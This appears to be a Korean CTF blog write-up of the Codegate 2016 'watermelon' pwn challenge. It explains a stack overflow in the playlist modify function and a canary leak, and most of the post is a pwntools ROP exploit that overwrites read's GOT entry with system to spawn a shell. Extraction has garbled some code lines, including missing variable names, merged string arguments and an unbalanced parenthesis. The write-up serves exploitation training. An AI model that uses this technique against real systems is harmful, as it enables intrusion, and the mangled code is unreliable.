본문 바로가기

CTF

[Codegate 2016] watermelon


1. Add playlist

2. View playlist

3. Modify playlist

4. Exit

menu는 위와 같다.

-1를 입력시 처음에 있는 함수로 들어가게 되는데 그냥 의미없는 함수같다.

차례대로 add, view, modfiy 함수들이다.

modify 함수에서 artist 를 입력할때 200 을 입력받음으로써 overflow가 일어난다.

일단 add함수로 음악의 개수를 100까지 채운 후 modfiy에서 music number 100을 선택한 다음 오버플로우 하면 될거 같다.

하지만 해당 문제에서 카나리가 있기 때문에 카나리 릭은 view를 통해 해주면 된다.


[exploit]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
 
= process('./watermelon')
= ELF('./watermelon')
 
read_got = e.got['read']
offset = 0x9ad50 #read = system
pppr = 0x8049acd
 
print p.sendlineafter(': ''gyeongje')
for i in range(1101): #add music1~100
    p.sendline('1')
    p.sendlineafter('\tmusic\t|\t''music' + str(i))
    p.sendlineafter('\tartist\t|\t''artist' + str(i))
    p.recvuntil('\tselect\t|\t')
 
########### canary leak ###########
p.sendline('3')
p.sendlineafter('select number\t|\t''100')
p.sendlineafter('\tmusic\t|\t''music100')
p.sendlineafter('\tartist\t|\t''A'*20)
p.recvuntil('\tselect\t|\t')
 
p.sendline('2')
p.recvuntil('A'*20 + '\x0a')
canary = u32('\x00' + p.recv(3))
print 'canary : ' + hex(canary)
p.recvuntil('\tselect\t|\t')
 
########### rop start #############
payload = ''
payload += 'A'*20
payload += p32(canary)
payload += 'A'*12
# /bin/sh -> bss
payload += p32(e.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.bss())
payload += p32(len('/bin/sh'+ 1)
# read leak
payload += p32(e.plt['write'])
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
# read_got -> system
payload += p32(e.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
# system('/bin/sh')
payload += p32(e.plt['read'])
payload += 'AAAA'
payload += p32(e.bss())
 
p.sendline('3')
p.sendlineafter('select number\t|\t''100')
p.sendlineafter('\tmusic\t|\t''music100')
p.recvuntil('\tartist\t|\t')
p.sendline(payload)
 
p.recvuntil('\tselect\t|\t')
p.sendline('4')
p.recvuntil('BYE BYE\n\n')
p.sendline('/bin/sh')
 
read = u32(p.recv(4))
print 'read : ' + hex(read)
print 'system : ' + hex(read - offset)
p.sendline(p32(read - offset))
 
p.interactive()
cs



'CTF' 카테고리의 다른 글

[ROOTCTF 2017] Factorization(sandbag)  (0) 2018.02.24
[Codegate 2017] babypwn  (0) 2018.02.23
[Codegate 2014] nuclear  (0) 2018.02.23
[Codegate 2014] angry_doraemon  (0) 2018.02.22
[Plaid 2013] ropasaurusrex  (0) 2018.02.18